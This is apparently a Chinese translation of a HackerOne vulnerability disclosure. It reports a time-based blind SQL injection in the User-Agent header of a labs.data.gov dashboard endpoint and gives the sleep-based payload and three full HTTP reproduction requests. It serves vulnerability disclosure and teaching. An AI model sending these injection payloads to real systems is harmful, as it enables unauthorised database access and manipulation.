SQL注入之User-Agent注入

0x00漏洞信息披露者:harisec
危害程度:高危
漏洞类型:sql注入
0x01漏洞介绍通过访问:
https://labs.data.gov/dashboard/datagov/csv_to_json抓包在user-agent头在中进行SQL注入
我没有从数据库中提取任何数据 , 我已经使用sleep函数 SQL查询确认了该漏洞 。该命令与算术操作相结合 , 将导致服务器响应不同的时间取决于算术运算的结果 。
【SQL注入之User-Agent注入】例如 , 将该值设置:

Mozilla/5.0 (windows NT 6.1; WOW64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
到User-Agent头部将导致服务器延迟响应25(5×5)秒 。
要重现 , 请发送以下HTTPS请求:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服务器将在25(5 * 5)秒后响应-与User-Agent:标头的值相同 。
现在 , 让服务器立即响应 。我们将发送值sleep(5 * 5 * 0) , 它等于0 。
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服务器立即响应为5 * 5 * 0 = 0 。
让我们通过另一个请求进行确认:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
这次 , 有效负载包含6 * 6-30 , 等于6 。服务器在6秒钟后响应 。
这些只是我尝试确认此问题的带有各种算术运算的SQL查询中的一些 。
0x02漏洞影响攻击者可以操纵发送到MySQL数据库的SQL语句 , 并注入恶意SQL语句 。攻击者可以更改对数据库执行的SQL语句的命令 。
翻译自hackerone




    推荐阅读